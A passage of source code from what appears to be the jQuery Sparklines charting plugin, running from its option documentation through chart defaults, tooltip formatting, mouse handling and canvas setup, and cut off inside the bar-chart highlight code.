* tooltipFormatter - Optional callback that allows you to override the HTML displayed in the tooltip
* callback is given arguments of (sparkline, options, fields)
* tooltipChartTitle - If specified then the tooltip uses the string specified by this setting as a title
* tooltipFormat - A format string or SPFormat object (or an array thereof for multiple entries)
* to control the format of the tooltip
* tooltipPrefix - A string to prepend to each field displayed in a tooltip
* tooltipSuffix - A string to append to each field displayed in a tooltip
* tooltipSkipNull - If true then null values will not have a tooltip displayed (defaults to true)
* tooltipValueLookups - An object or range map to map field values to tooltip strings
* (eg. to map -1 to "Lost", 0 to "Draw", and 1 to "Win")
* numberFormatter - Optional callback for formatting numbers in tooltips
* numberDigitGroupSep - Character to use for group separator in numbers "1,234" - Defaults to ","
* numberDecimalMark - Character to use for the decimal point when formatting numbers - Defaults to "."
* numberDigitGroupCount - Number of digits between group separator - Defaults to 3
*
* There are 7 types of sparkline, selected by supplying a "type" option of 'line' (default),
* 'bar', 'tristate', 'bullet', 'discrete', 'pie' or 'box'
* line - Line chart. Options:
* spotColor - Set to '' to not end each line in a circular spot
* minSpotColor - If set, color of spot at minimum value
* maxSpotColor - If set, color of spot at maximum value
* spotRadius - Radius in pixels
* lineWidth - Width of line in pixels
* normalRangeMin
* normalRangeMax - If set draws a filled horizontal bar between these two values marking the "normal"
* or expected range of values
* normalRangeColor - Color to use for the above bar
* drawNormalOnTop - Draw the normal range above the chart fill color if true
* defaultPixelsPerValue - Defaults to 3 pixels of width for each value in the chart
* highlightSpotColor - The color to use for drawing a highlight spot on mouseover - Set to null to disable
* highlightLineColor - The color to use for drawing a highlight line on mouseover - Set to null to disable
* valueSpots - Specify which points to draw spots on, and in which color. Accepts a range map
*
* bar - Bar chart. Options:
* barColor - Color of bars for postive values
* negBarColor - Color of bars for negative values
* zeroColor - Color of bars with zero values
* nullColor - Color of bars with null values - Defaults to omitting the bar entirely
* barWidth - Width of bars in pixels
* colorMap - Optional mappnig of values to colors to override the *BarColor values above
* can be an Array of values to control the color of individual bars or a range map
* to specify colors for individual ranges of values
* barSpacing - Gap between bars in pixels
* zeroAxis - Centers the y-axis around zero if true
*
* tristate - Charts values of win (>0), lose (<0) or draw (=0)
* posBarColor - Color of win values
* negBarColor - Color of lose values
* zeroBarColor - Color of draw values
* barWidth - Width of bars in pixels
* barSpacing - Gap between bars in pixels
* colorMap - Optional mappnig of values to colors to override the *BarColor values above
* can be an Array of values to control the color of individual bars or a range map
* to specify colors for individual ranges of values
*
* discrete - Options:
* lineHeight - Height of each line in pixels - Defaults to 30% of the graph height
* thesholdValue - Values less than this value will be drawn using thresholdColor instead of lineColor
* thresholdColor
*
* bullet - Values for bullet graphs msut be in the order: target, performance, range1, range2, range3, ...
* options:
* targetColor - The color of the vertical target marker
* targetWidth - The width of the target marker in pixels
* performanceColor - The color of the performance measure horizontal bar
* rangeColors - Colors to use for each qualitative range background color
*
* pie - Pie chart. Options:
* sliceColors - An array of colors to use for pie slices
* offset - Angle in degrees to offset the first slice - Try -90 or +90
* borderWidth - Width of border to draw around the pie chart, in pixels - Defaults to 0 (no border)
* borderColor - Color to use for the pie chart border - Defaults to #000
*
* box - Box plot. Options:
* raw - Set to true to supply pre-computed plot points as values
* values should be: low_outlier, low_whisker, q1, median, q3, high_whisker, high_outlier
* When set to false you can supply any number of values and the box plot will
* be computed for you. Default is false.
* showOutliers - Set to true (default) to display outliers as circles
* outlierIQR - Interquartile range used to determine outliers. Default 1.5
* boxLineColor - Outline color of the box
* boxFillColor - Fill color for the box
* whiskerColor - Line color used for whiskers
* outlierLineColor - Outline color of outlier circles
* outlierFillColor - Fill color of the outlier circles
* spotRadius - Radius of outlier circles
* medianColor - Line color of the median line
* target - Draw a target cross hair at the supplied value (default undefined)
*
*
*
* Examples:
* $('#sparkline1').sparkline(myvalues, { lineColor: '#f00', fillColor: false });
* $('.barsparks').sparkline('html', { type:'bar', height:'40px', barWidth:5 });
* $('#tristate').sparkline([1,1,-1,1,0,0,-1], { type:'tristate' }):
* $('#discrete').sparkline([1,3,4,5,5,3,4,5], { type:'discrete' });
* $('#bullet').sparkline([10,12,12,9,7], { type:'bullet' });
* $('#pie').sparkline([1,1,2], { type:'pie' });
*/
/*jslint regexp: true, browser: true, jquery: true, white: true, nomen: false, plusplus: false, maxerr: 500, indent: 4 */
$.blue='#2e7bcc';
$.green='#3FB618';
$.red='#FF0039';
$.yellow='#FFA500';
$.orange='#FF7518';
$.pink='#E671B8';
$.purple='#9954BB';
$.black= '#333333';
(function(document, Math, undefined) { // performance/minified-size optimization
(function(factory) {
if(typeof define === 'function' && define.amd) {
define(['jquery'], factory);
} else if (jQuery && !jQuery.fn.sparkline) {
factory(jQuery);
}
}
(function($) {
'use strict';
var UNSET_OPTION = {},
getDefaults, createClass, SPFormat, clipval, quartile, normalizeValue, normalizeValues,
remove, isNumber, all, sum, addCSS, ensureArray, formatNumber, RangeMap,
MouseHandler, Tooltip, barHighlightMixin,
line, bar, tristate, discrete, bullet, pie, box, defaultStyles, initStyles,
VShape, VCanvas_base, VCanvas_canvas, VCanvas_vml, pending, shapeCount = 0;
/**
* Default configuration settings
*/
getDefaults = function () {
return {
// Settings common to most/all chart types
common: {
type: 'line',
lineColor: '#00f',
fillColor: '#cdf',
defaultPixelsPerValue: 3,
width: 'auto',
height: 'auto',
composite: false,
tagValuesAttribute: 'values',
tagOptionsPrefix: 'spark',
enableTagOptions: false,
enableHighlight: true,
highlightLighten: 1.4,
tooltipSkipNull: true,
tooltipPrefix: '',
tooltipSuffix: '',
disableHiddenCheck: false,
numberFormatter: false,
numberDigitGroupCount: 3,
numberDigitGroupSep: ',',
numberDecimalMark: '.',
disableTooltips: false,
disableInteraction: false
},
// Defaults for line charts
line: {
spotColor: '#f80',
highlightSpotColor: '#5f5',
highlightLineColor: '#f22',
spotRadius: 1.5,
minSpotColor: '#f80',
maxSpotColor: '#f80',
lineWidth: 1,
normalRangeMin: undefined,
normalRangeMax: undefined,
normalRangeColor: '#ccc',
drawNormalOnTop: false,
chartRangeMin: undefined,
chartRangeMax: undefined,
chartRangeMinX: undefined,
chartRangeMaxX: undefined,
tooltipFormat: new SPFormat('<span style="color: {{color}}">●</span> {{prefix}}{{y}}{{suffix}}')
},
// Defaults for bar charts
bar: {
barColor: $.blue,
negBarColor: '#f44',
stackedBarColor: [$.blue, $.red, $.yellow, $.green, '#66aa00',
$.pink, '#0099c6', $.purple],
zeroColor: undefined,
nullColor: undefined,
zeroAxis: true,
barWidth: 4,
barSpacing: 1,
chartRangeMax: undefined,
chartRangeMin: undefined,
chartRangeClip: false,
colorMap: undefined,
tooltipFormat: new SPFormat('<span style="color: {{color}}">●</span> {{prefix}}{{value}}{{suffix}}')
},
// Defaults for tristate charts
tristate: {
barWidth: 4,
barSpacing: 1,
posBarColor: '#6f6',
negBarColor: '#f44',
zeroBarColor: '#999',
colorMap: {},
tooltipFormat: new SPFormat('<span style="color: {{color}}">●</span> {{value:map}}'),
tooltipValueLookups: { map: { '-1': 'Loss', '0': 'Draw', '1': 'Win' } }
},
// Defaults for discrete charts
discrete: {
lineHeight: 'auto',
thresholdColor: undefined,
thresholdValue: 0,
chartRangeMax: undefined,
chartRangeMin: undefined,
chartRangeClip: false,
tooltipFormat: new SPFormat('{{prefix}}{{value}}{{suffix}}')
},
// Defaults for bullet charts
bullet: {
targetColor: '#f33',
targetWidth: 3, // width of the target bar in pixels
performanceColor: '#33f',
rangeColors: ['#d3dafe', '#a8b6ff', '#7f94ff'],
base: undefined, // set this to a number to change the base start number
tooltipFormat: new SPFormat('{{fieldkey:fields}} - {{value}}'),
tooltipValueLookups: { fields: {r: 'Range', p: 'Performance', t: 'Target'} }
},
// Defaults for pie charts
pie: {
offset: 0,
sliceColors: [$.blue, $.red, $.yellow, $.green, '#66aa00',
$.pink, '#0099c6', $.purple],
borderWidth: 0,
borderColor: '#000',
tooltipFormat: new SPFormat('<span style="color: {{color}}">●</span> {{value}} ({{percent.1}}%)')
},
// Defaults for box plots
box: {
raw: false,
boxLineColor: '#000',
boxFillColor: '#cdf',
whiskerColor: '#000',
outlierLineColor: '#333',
outlierFillColor: '#fff',
medianColor: '#f00',
showOutliers: true,
outlierIQR: 1.5,
spotRadius: 1.5,
target: undefined,
targetColor: '#4a2',
chartRangeMax: undefined,
chartRangeMin: undefined,
tooltipFormat: new SPFormat('{{field:fields}}: {{value}}'),
tooltipFormatFieldlistKey: 'field',
tooltipValueLookups: { fields: { lq: 'Lower Quartile', med: 'Median',
uq: 'Upper Quartile', lo: 'Left Outlier', ro: 'Right Outlier',
lw: 'Left Whisker', rw: 'Right Whisker'} }
}
};
};
// You can have tooltips use a css class other than jqstooltip by specifying tooltipClassname
defaultStyles = '.jqstooltip { ' +
'position: absolute;' +
'left: 0px;' +
'top: 0px;' +
'visibility: hidden;' +
'background: rgb(0, 0, 0) transparent;' +
'background-color: rgba(0,0,0,0.6);' +
'filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#99000000, endColorstr=#99000000);' +
'-ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#99000000, endColorstr=#99000000)";' +
'color: white;' +
'font: 10px arial, san serif;' +
'text-align: left;' +
'white-space: nowrap;' +
'padding: 5px;' +
'border: 1px solid white;' +
'z-index: 10000;' +
'}' +
'.jqsfield { ' +
'color: white;' +
'font: 10px arial, san serif;' +
'text-align: left;' +
'}';
/**
* Utilities
*/
createClass = function (/* [baseclass, [mixin, ...]], definition */) {
var Class, args;
Class = function () {
this.init.apply(this, arguments);
};
if (arguments.length > 1) {
if (arguments[0]) {
Class.prototype = $.extend(new arguments[0](), arguments[arguments.length - 1]);
Class._super = arguments[0].prototype;
} else {
Class.prototype = arguments[arguments.length - 1];
}
if (arguments.length > 2) {
args = Array.prototype.slice.call(arguments, 1, -1);
args.unshift(Class.prototype);
$.extend.apply($, args);
}
} else {
Class.prototype = arguments[0];
}
Class.prototype.cls = Class;
return Class;
};
/**
* Wraps a format string for tooltips
* {{x}}
* {{x.2}
* {{x:months}}
*/
$.SPFormatClass = SPFormat = createClass({
fre: /\{\{([\w.]+?)(:(.+?))?\}\}/g,
precre: /(\w+)\.(\d+)/,
init: function (format, fclass) {
this.format = format;
this.fclass = fclass;
},
render: function (fieldset, lookups, options) {
var self = this,
fields = fieldset,
match, token, lookupkey, fieldvalue, prec;
return this.format.replace(this.fre, function () {
var lookup;
token = arguments[1];
lookupkey = arguments[3];
match = self.precre.exec(token);
if (match) {
prec = match[2];
token = match[1];
} else {
prec = false;
}
fieldvalue = fields[token];
if (fieldvalue === undefined) {
return '';
}
if (lookupkey && lookups && lookups[lookupkey]) {
lookup = lookups[lookupkey];
if (lookup.get) { // RangeMap
return lookups[lookupkey].get(fieldvalue) || fieldvalue;
} else {
return lookups[lookupkey][fieldvalue] || fieldvalue;
}
}
if (isNumber(fieldvalue)) {
if (options.get('numberFormatter')) {
fieldvalue = options.get('numberFormatter')(fieldvalue);
} else {
fieldvalue = formatNumber(fieldvalue, prec,
options.get('numberDigitGroupCount'),
options.get('numberDigitGroupSep'),
options.get('numberDecimalMark'));
}
}
return fieldvalue;
});
}
});
// convience method to avoid needing the new operator
$.spformat = function(format, fclass) {
return new SPFormat(format, fclass);
};
clipval = function (val, min, max) {
if (val < min) {
return min;
}
if (val > max) {
return max;
}
return val;
};
quartile = function (values, q) {
var vl;
if (q === 2) {
vl = Math.floor(values.length / 2);
return values.length % 2 ? values[vl] : (values[vl-1] + values[vl]) / 2;
} else {
if (values.length % 2 ) { // odd
vl = (values.length * q + q) / 4;
return vl % 1 ? (values[Math.floor(vl)] + values[Math.floor(vl) - 1]) / 2 : values[vl-1];
} else { //even
vl = (values.length * q + 2) / 4;
return vl % 1 ? (values[Math.floor(vl)] + values[Math.floor(vl) - 1]) / 2 : values[vl-1];
}
}
};
normalizeValue = function (val) {
var nf;
switch (val) {
case 'undefined':
val = undefined;
break;
case 'null':
val = null;
break;
case 'true':
val = true;
break;
case 'false':
val = false;
break;
default:
nf = parseFloat(val);
if (val == nf) {
val = nf;
}
}
return val;
};
normalizeValues = function (vals) {
var i, result = [];
for (i = vals.length; i--;) {
result[i] = normalizeValue(vals[i]);
}
return result;
};
remove = function (vals, filter) {
var i, vl, result = [];
for (i = 0, vl = vals.length; i < vl; i++) {
if (vals[i] !== filter) {
result.push(vals[i]);
}
}
return result;
};
isNumber = function (num) {
return !isNaN(parseFloat(num)) && isFinite(num);
};
formatNumber = function (num, prec, groupsize, groupsep, decsep) {
var p, i;
num = (prec === false ? parseFloat(num).toString() : num.toFixed(prec)).split('');
p = (p = $.inArray('.', num)) < 0 ? num.length : p;
if (p < num.length) {
num[p] = decsep;
}
for (i = p - groupsize; i > 0; i -= groupsize) {
num.splice(i, 0, groupsep);
}
return num.join('');
};
// determine if all values of an array match a value
// returns true if the array is empty
all = function (val, arr, ignoreNull) {
var i;
for (i = arr.length; i--; ) {
if (ignoreNull && arr[i] === null) continue;
if (arr[i] !== val) {
return false;
}
}
return true;
};
// sums the numeric values in an array, ignoring other values
sum = function (vals) {
var total = 0, i;
for (i = vals.length; i--;) {
total += typeof vals[i] === 'number' ? vals[i] : 0;
}
return total;
};
ensureArray = function (val) {
return $.isArray(val) ? val : [val];
};
// http://paulirish.com/2008/bookmarklet-inject-new-css-rules/
addCSS = function(css) {
var tag;
//if ('\v' == 'v') /* ie only */ {
if (document.createStyleSheet) {
document.createStyleSheet().cssText = css;
} else {
tag = document.createElement('style');
tag.type = 'text/css';
document.getElementsByTagName('head')[0].appendChild(tag);
tag[(typeof document.body.style.WebkitAppearance == 'string') /* webkit only */ ? 'innerText' : 'innerHTML'] = css;
}
};
// Provide a cross-browser interface to a few simple drawing primitives
$.fn.simpledraw = function (width, height, useExisting, interact) {
var target, mhandler;
if (useExisting && (target = this.data('_jqs_vcanvas'))) {
return target;
}
if ($.fn.sparkline.canvas === false) {
// We've already determined that neither Canvas nor VML are available
return false;
} else if ($.fn.sparkline.canvas === undefined) {
// No function defined yet -- need to see if we support Canvas or VML
var el = document.createElement('canvas');
if (!!(el.getContext && el.getContext('2d'))) {
// Canvas is available
$.fn.sparkline.canvas = function(width, height, target, interact) {
return new VCanvas_canvas(width, height, target, interact);
};
} else if (document.namespaces && !document.namespaces.v) {
// VML is available
document.namespaces.add('v', 'urn:schemas-microsoft-com:vml', '#default#VML');
$.fn.sparkline.canvas = function(width, height, target, interact) {
return new VCanvas_vml(width, height, target);
};
} else {
// Neither Canvas nor VML are available
$.fn.sparkline.canvas = false;
return false;
}
}
if (width === undefined) {
width = $(this).innerWidth();
}
if (height === undefined) {
height = $(this).innerHeight();
}
target = $.fn.sparkline.canvas(width, height, this, interact);
mhandler = $(this).data('_jqs_mhandler');
if (mhandler) {
mhandler.registerCanvas(target);
}
return target;
};
$.fn.cleardraw = function () {
var target = this.data('_jqs_vcanvas');
if (target) {
target.reset();
}
};
$.RangeMapClass = RangeMap = createClass({
init: function (map) {
var key, range, rangelist = [];
for (key in map) {
if (map.hasOwnProperty(key) && typeof key === 'string' && key.indexOf(':') > -1) {
range = key.split(':');
range[0] = range[0].length === 0 ? -Infinity : parseFloat(range[0]);
range[1] = range[1].length === 0 ? Infinity : parseFloat(range[1]);
range[2] = map[key];
rangelist.push(range);
}
}
this.map = map;
this.rangelist = rangelist || false;
},
get: function (value) {
var rangelist = this.rangelist,
i, range, result;
if ((result = this.map[value]) !== undefined) {
return result;
}
if (rangelist) {
for (i = rangelist.length; i--;) {
range = rangelist[i];
if (range[0] <= value && range[1] >= value) {
return range[2];
}
}
}
return undefined;
}
});
// Convenience function
$.range_map = function(map) {
return new RangeMap(map);
};
MouseHandler = createClass({
init: function (el, options) {
var $el = $(el);
this.$el = $el;
this.options = options;
this.currentPageX = 0;
this.currentPageY = 0;
this.el = el;
this.splist = [];
this.tooltip = null;
this.over = false;
this.displayTooltips = !options.get('disableTooltips');
this.highlightEnabled = !options.get('disableHighlight');
},
registerSparkline: function (sp) {
this.splist.push(sp);
if (this.over) {
this.updateDisplay();
}
},
registerCanvas: function (canvas) {
var $canvas = $(canvas.canvas);
this.canvas = canvas;
this.$canvas = $canvas;
$canvas.mouseenter($.proxy(this.mouseenter, this));
$canvas.mouseleave($.proxy(this.mouseleave, this));
$canvas.click($.proxy(this.mouseclick, this));
},
reset: function (removeTooltip) {
this.splist = [];
if (this.tooltip && removeTooltip) {
this.tooltip.remove();
this.tooltip = undefined;
}
},
mouseclick: function (e) {
var clickEvent = $.Event('sparklineClick');
clickEvent.originalEvent = e;
clickEvent.sparklines = this.splist;
this.$el.trigger(clickEvent);
},
mouseenter: function (e) {
$(document.body).unbind('mousemove.jqs');
$(document.body).bind('mousemove.jqs', $.proxy(this.mousemove, this));
this.over = true;
this.currentPageX = e.pageX;
this.currentPageY = e.pageY;
this.currentEl = e.target;
if (!this.tooltip && this.displayTooltips) {
this.tooltip = new Tooltip(this.options);
this.tooltip.updatePosition(e.pageX, e.pageY);
}
this.updateDisplay();
},
mouseleave: function () {
$(document.body).unbind('mousemove.jqs');
var splist = this.splist,
spcount = splist.length,
needsRefresh = false,
sp, i;
this.over = false;
this.currentEl = null;
if (this.tooltip) {
this.tooltip.remove();
this.tooltip = null;
}
for (i = 0; i < spcount; i++) {
sp = splist[i];
if (sp.clearRegionHighlight()) {
needsRefresh = true;
}
}
if (needsRefresh) {
this.canvas.render();
}
},
mousemove: function (e) {
this.currentPageX = e.pageX;
this.currentPageY = e.pageY;
this.currentEl = e.target;
if (this.tooltip) {
this.tooltip.updatePosition(e.pageX, e.pageY);
}
this.updateDisplay();
},
updateDisplay: function () {
var splist = this.splist,
spcount = splist.length,
needsRefresh = false,
offset = this.$canvas.offset(),
localX = this.currentPageX - offset.left,
localY = this.currentPageY - offset.top,
tooltiphtml, sp, i, result, changeEvent;
if (!this.over) {
return;
}
for (i = 0; i < spcount; i++) {
sp = splist[i];
result = sp.setRegionHighlight(this.currentEl, localX, localY);
if (result) {
needsRefresh = true;
}
}
if (needsRefresh) {
changeEvent = $.Event('sparklineRegionChange');
changeEvent.sparklines = this.splist;
this.$el.trigger(changeEvent);
if (this.tooltip) {
tooltiphtml = '';
for (i = 0; i < spcount; i++) {
sp = splist[i];
tooltiphtml += sp.getCurrentRegionTooltip();
}
this.tooltip.setContent(tooltiphtml);
}
if (!this.disableHighlight) {
this.canvas.render();
}
}
if (result === null) {
this.mouseleave();
}
}
});
Tooltip = createClass({
sizeStyle: 'position: static !important;' +
'display: block !important;' +
'visibility: hidden !important;' +
'float: left !important;',
init: function (options) {
var tooltipClassname = options.get('tooltipClassname', 'jqstooltip'),
sizetipStyle = this.sizeStyle,
offset;
this.container = options.get('tooltipContainer') || document.body;
this.tooltipOffsetX = options.get('tooltipOffsetX', 10);
this.tooltipOffsetY = options.get('tooltipOffsetY', 12);
// remove any previous lingering tooltip
$('#jqssizetip').remove();
$('#jqstooltip').remove();
this.sizetip = $('<div/>', {
id: 'jqssizetip',
style: sizetipStyle,
'class': tooltipClassname
});
this.tooltip = $('<div/>', {
id: 'jqstooltip',
'class': tooltipClassname
}).appendTo(this.container);
// account for the container's location
offset = this.tooltip.offset();
this.offsetLeft = offset.left;
this.offsetTop = offset.top;
this.hidden = true;
$(window).unbind('resize.jqs scroll.jqs');
$(window).bind('resize.jqs scroll.jqs', $.proxy(this.updateWindowDims, this));
this.updateWindowDims();
},
updateWindowDims: function () {
this.scrollTop = $(window).scrollTop();
this.scrollLeft = $(window).scrollLeft();
this.scrollRight = this.scrollLeft + $(window).width();
this.updatePosition();
},
getSize: function (content) {
this.sizetip.html(content).appendTo(this.container);
this.width = this.sizetip.width() + 1;
this.height = this.sizetip.height();
this.sizetip.remove();
},
setContent: function (content) {
if (!content) {
this.tooltip.css('visibility', 'hidden');
this.hidden = true;
return;
}
this.getSize(content);
this.tooltip.html(content)
.css({
'width': this.width,
'height': this.height,
'visibility': 'visible'
});
if (this.hidden) {
this.hidden = false;
this.updatePosition();
}
},
updatePosition: function (x, y) {
if (x === undefined) {
if (this.mousex === undefined) {
return;
}
x = this.mousex - this.offsetLeft;
y = this.mousey - this.offsetTop;
} else {
this.mousex = x = x - this.offsetLeft;
this.mousey = y = y - this.offsetTop;
}
if (!this.height || !this.width || this.hidden) {
return;
}
y -= this.height + this.tooltipOffsetY;
x += this.tooltipOffsetX;
if (y < this.scrollTop) {
y = this.scrollTop;
}
if (x < this.scrollLeft) {
x = this.scrollLeft;
} else if (x + this.width > this.scrollRight) {
x = this.scrollRight - this.width;
}
this.tooltip.css({
'left': x,
'top': y
});
},
remove: function () {
this.tooltip.remove();
this.sizetip.remove();
this.sizetip = this.tooltip = undefined;
$(window).unbind('resize.jqs scroll.jqs');
}
});
initStyles = function() {
addCSS(defaultStyles);
};
$(initStyles);
pending = [];
$.fn.sparkline = function (userValues, userOptions) {
return this.each(function () {
var options = new $.fn.sparkline.options(this, userOptions),
$this = $(this),
render, i;
render = function () {
var values, width, height, tmp, mhandler, sp, vals;
if (userValues === 'html' || userValues === undefined) {
vals = this.getAttribute(options.get('tagValuesAttribute'));
if (vals === undefined || vals === null) {
vals = $this.html();
}
values = vals.replace(/(^\s*<!--)|(-->\s*$)|\s+/g, '').split(',');
} else {
values = userValues;
}
width = options.get('width') === 'auto' ? values.length * options.get('defaultPixelsPerValue') : options.get('width');
if (options.get('height') === 'auto') {
if (!options.get('composite') || !$.data(this, '_jqs_vcanvas')) {
// must be a better way to get the line height
tmp = document.createElement('span');
tmp.innerHTML = 'a';
$this.html(tmp);
height = $(tmp).innerHeight() || $(tmp).height();
$(tmp).remove();
tmp = null;
}
} else {
height = options.get('height');
}
if (!options.get('disableInteraction')) {
mhandler = $.data(this, '_jqs_mhandler');
if (!mhandler) {
mhandler = new MouseHandler(this, options);
$.data(this, '_jqs_mhandler', mhandler);
} else if (!options.get('composite')) {
mhandler.reset();
}
} else {
mhandler = false;
}
if (options.get('composite') && !$.data(this, '_jqs_vcanvas')) {
if (!$.data(this, '_jqs_errnotify')) {
alert('Attempted to attach a composite sparkline to an element with no existing sparkline');
$.data(this, '_jqs_errnotify', true);
}
return;
}
sp = new $.fn.sparkline[options.get('type')](this, values, options, width, height);
sp.render();
if (mhandler) {
mhandler.registerSparkline(sp);
}
};
if (($(this).html() && !options.get('disableHiddenCheck') && $(this).is(':hidden')) || !$(this).parents('body').length) {
if (!options.get('composite') && $.data(this, '_jqs_pending')) {
// remove any existing references to the element
for (i = pending.length; i; i--) {
if (pending[i - 1][0] == this) {
pending.splice(i - 1, 1);
}
}
}
pending.push([this, render]);
$.data(this, '_jqs_pending', true);
} else {
render.call(this);
}
});
};
$.fn.sparkline.defaults = getDefaults();
$.sparkline_display_visible = function () {
var el, i, pl;
var done = [];
for (i = 0, pl = pending.length; i < pl; i++) {
el = pending[i][0];
if ($(el).is(':visible') && !$(el).parents().is(':hidden')) {
pending[i][1].call(el);
$.data(pending[i][0], '_jqs_pending', false);
done.push(i);
} else if (!$(el).closest('html').length && !$.data(el, '_jqs_pending')) {
// element has been inserted and removed from the DOM
// If it was not yet inserted into the dom then the .data request
// will return true.
// removing from the dom causes the data to be removed.
$.data(pending[i][0], '_jqs_pending', false);
done.push(i);
}
}
for (i = done.length; i; i--) {
pending.splice(done[i - 1], 1);
}
};
/**
* User option handler
*/
$.fn.sparkline.options = createClass({
init: function (tag, userOptions) {
var extendedOptions, defaults, base, tagOptionType;
this.userOptions = userOptions = userOptions || {};
this.tag = tag;
this.tagValCache = {};
defaults = $.fn.sparkline.defaults;
base = defaults.common;
this.tagOptionsPrefix = userOptions.enableTagOptions && (userOptions.tagOptionsPrefix || base.tagOptionsPrefix);
tagOptionType = this.getTagSetting('type');
if (tagOptionType === UNSET_OPTION) {
extendedOptions = defaults[userOptions.type || base.type];
} else {
extendedOptions = defaults[tagOptionType];
}
this.mergedOptions = $.extend({}, base, extendedOptions, userOptions);
},
getTagSetting: function (key) {
var prefix = this.tagOptionsPrefix,
val, i, pairs, keyval;
if (prefix === false || prefix === undefined) {
return UNSET_OPTION;
}
if (this.tagValCache.hasOwnProperty(key)) {
val = this.tagValCache.key;
} else {
val = this.tag.getAttribute(prefix + key);
if (val === undefined || val === null) {
val = UNSET_OPTION;
} else if (val.substr(0, 1) === '[') {
val = val.substr(1, val.length - 2).split(',');
for (i = val.length; i--;) {
val[i] = normalizeValue(val[i].replace(/(^\s*)|(\s*$)/g, ''));
}
} else if (val.substr(0, 1) === '{') {
pairs = val.substr(1, val.length - 2).split(',');
val = {};
for (i = pairs.length; i--;) {
keyval = pairs[i].split(':', 2);
val[keyval[0].replace(/(^\s*)|(\s*$)/g, '')] = normalizeValue(keyval[1].replace(/(^\s*)|(\s*$)/g, ''));
}
} else {
val = normalizeValue(val);
}
this.tagValCache.key = val;
}
return val;
},
get: function (key, defaultval) {
var tagOption = this.getTagSetting(key),
result;
if (tagOption !== UNSET_OPTION) {
return tagOption;
}
return (result = this.mergedOptions[key]) === undefined ? defaultval : result;
}
});
$.fn.sparkline._base = createClass({
disabled: false,
init: function (el, values, options, width, height) {
this.el = el;
this.$el = $(el);
this.values = values;
this.options = options;
this.width = width;
this.height = height;
this.currentRegion = undefined;
},
/**
* Setup the canvas
*/
initTarget: function () {
var interactive = !this.options.get('disableInteraction');
if (!(this.target = this.$el.simpledraw(this.width, this.height, this.options.get('composite'), interactive))) {
this.disabled = true;
} else {
this.canvasWidth = this.target.pixelWidth;
this.canvasHeight = this.target.pixelHeight;
}
},
/**
* Actually render the chart to the canvas
*/
render: function () {
if (this.disabled) {
this.el.innerHTML = '';
return false;
}
return true;
},
/**
* Return a region id for a given x/y co-ordinate
*/
getRegion: function (x, y) {
},
/**
* Highlight an item based on the moused-over x,y co-ordinate
*/
setRegionHighlight: function (el, x, y) {
var currentRegion = this.currentRegion,
highlightEnabled = !this.options.get('disableHighlight'),
newRegion;
if (x > this.canvasWidth || y > this.canvasHeight || x < 0 || y < 0) {
return null;
}
newRegion = this.getRegion(el, x, y);
if (currentRegion !== newRegion) {
if (currentRegion !== undefined && highlightEnabled) {
this.removeHighlight();
}
this.currentRegion = newRegion;
if (newRegion !== undefined && highlightEnabled) {
this.renderHighlight();
}
return true;
}
return false;
},
/**
* Reset any currently highlighted item
*/
clearRegionHighlight: function () {
if (this.currentRegion !== undefined) {
this.removeHighlight();
this.currentRegion = undefined;
return true;
}
return false;
},
renderHighlight: function () {
this.changeHighlight(true);
},
removeHighlight: function () {
this.changeHighlight(false);
},
changeHighlight: function (highlight) {},
/**
* Fetch the HTML to display as a tooltip
*/
getCurrentRegionTooltip: function () {
var options = this.options,
header = '',
entries = [],
fields, formats, formatlen, fclass, text, i,
showFields, showFieldsKey, newFields, fv,
formatter, format, fieldlen, j;
if (this.currentRegion === undefined) {
return '';
}
fields = this.getCurrentRegionFields();
formatter = options.get('tooltipFormatter');
if (formatter) {
return formatter(this, options, fields);
}
if (options.get('tooltipChartTitle')) {
header += '<div class="jqs jqstitle">' + options.get('tooltipChartTitle') + '</div>\n';
}
formats = this.options.get('tooltipFormat');
if (!formats) {
return '';
}
if (!$.isArray(formats)) {
formats = [formats];
}
if (!$.isArray(fields)) {
fields = [fields];
}
showFields = this.options.get('tooltipFormatFieldlist');
showFieldsKey = this.options.get('tooltipFormatFieldlistKey');
if (showFields && showFieldsKey) {
// user-selected ordering of fields
newFields = [];
for (i = fields.length; i--;) {
fv = fields[i][showFieldsKey];
if ((j = $.inArray(fv, showFields)) != -1) {
newFields[j] = fields[i];
}
}
fields = newFields;
}
formatlen = formats.length;
fieldlen = fields.length;
for (i = 0; i < formatlen; i++) {
format = formats[i];
if (typeof format === 'string') {
format = new SPFormat(format);
}
fclass = format.fclass || 'jqsfield';
for (j = 0; j < fieldlen; j++) {
if (!fields[j].isNull || !options.get('tooltipSkipNull')) {
$.extend(fields[j], {
prefix: options.get('tooltipPrefix'),
suffix: options.get('tooltipSuffix')
});
text = format.render(fields[j], options.get('tooltipValueLookups'), options);
entries.push('<div class="' + fclass + '">' + text + '</div>');
}
}
}
if (entries.length) {
return header + entries.join('\n');
}
return '';
},
getCurrentRegionFields: function () {},
calcHighlightColor: function (color, options) {
var highlightColor = options.get('highlightColor'),
lighten = options.get('highlightLighten'),
parse, mult, rgbnew, i;
if (highlightColor) {
return highlightColor;
}
if (lighten) {
// extract RGB values
parse = /^#([0-9a-f])([0-9a-f])([0-9a-f])$/i.exec(color) || /^#([0-9a-f]{2})([0-9a-f]{2})([0-9a-f]{2})$/i.exec(color);
if (parse) {
rgbnew = [];
mult = color.length === 4 ? 16 : 1;
for (i = 0; i < 3; i++) {
rgbnew[i] = clipval(Math.round(parseInt(parse[i + 1], 16) * mult * lighten), 0, 255);
}
return 'rgb(' + rgbnew.join(',') + ')';
}
}
return color;
}
});
barHighlightMixin = {
changeHighlight: function (highlight) {
var currentRegion = this.currentRegion,
target = this.target,
shapeids = this.regionShapes[currentRegion],
newShapes;
// will be null if the region value was null
if (shapeids) {
newShapes = this.renderRegion(currentRegion, highlight);
if ($.isArray(newShapes) || $.isArray(shapeids)) {
target.replaceWithShapes(shapeids, newShapes);
this.regionShapes[currentRegion] = $.map(newShapes, function (newShape) {
return newShape.id;
});
} else {
target.replaceWithShape(shapeids, newShapes);
this.regionShapes[currentRegion] = newShapes.id;
}
}
},
render: function () {
var values = this.values,
target = this.target,
regionShapes = this.regionShapes,
shapes, ids, i, j;
if (!this.cls._super.render.call(this)) {
return;
}
for (i = values.length; i--;) {
shapes = this.renderRegion(i);
if (shapes) {
if ($.isArray(shapes)) {
ids = [];
for (j = shapes.length; j--;) {
shapes[j].append();
ids.push(shapes[j].id);
}
regionShapes[i] = ids;
} else {
shapes.append();
regionShapes[i] = shapes.id; // store just the shapeid
}
} else {
// null value
